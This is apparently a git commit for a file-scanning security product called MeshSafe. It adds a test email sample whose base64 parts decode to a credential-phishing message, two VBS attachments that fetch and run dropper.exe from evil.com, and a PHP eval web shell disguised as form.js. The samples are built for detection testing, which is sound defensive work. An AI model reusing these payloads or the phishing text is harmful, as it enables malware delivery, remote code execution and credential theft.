feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交

核心功能:
- 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制
- FastAPI + PostgreSQL + Redis + Docker Compose 架构
- 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性
- 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页)
- 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min)

并发与稳定性修复:
- 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行)
- JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写
- 移除 SQLite fallback, 统一 PostgreSQL
- API_CLIENTS 脱敏为环境变量, .env 已 .gitignore

tests/samples/phishing.eml

@@ -0,0 +1,47 @@
+Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
+MIME-Version: 1.0
+From: IT Support <support@secure-update-login.com>
+To: me@internal.com
+Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
+
+--===============3818226399663948811==
+Content-Type: text/plain; charset="utf-8"
+MIME-Version: 1.0
+Content-Transfer-Encoding: base64
+
+RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
+YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
+byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
+bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
+IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
+dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
+
+--===============3818226399663948811==
+Content-Type: application/octet-stream
+MIME-Version: 1.0
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="invoice.vbs"
+
+U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
+dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
+JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
+
+--===============3818226399663948811==
+Content-Type: application/octet-stream
+MIME-Version: 1.0
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="invoice.pdf.vbs"
+
+U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
+dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
+JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
+
+--===============3818226399663948811==
+Content-Type: application/octet-stream
+MIME-Version: 1.0
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="form.js"
+
+PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
+
+--===============3818226399663948811==--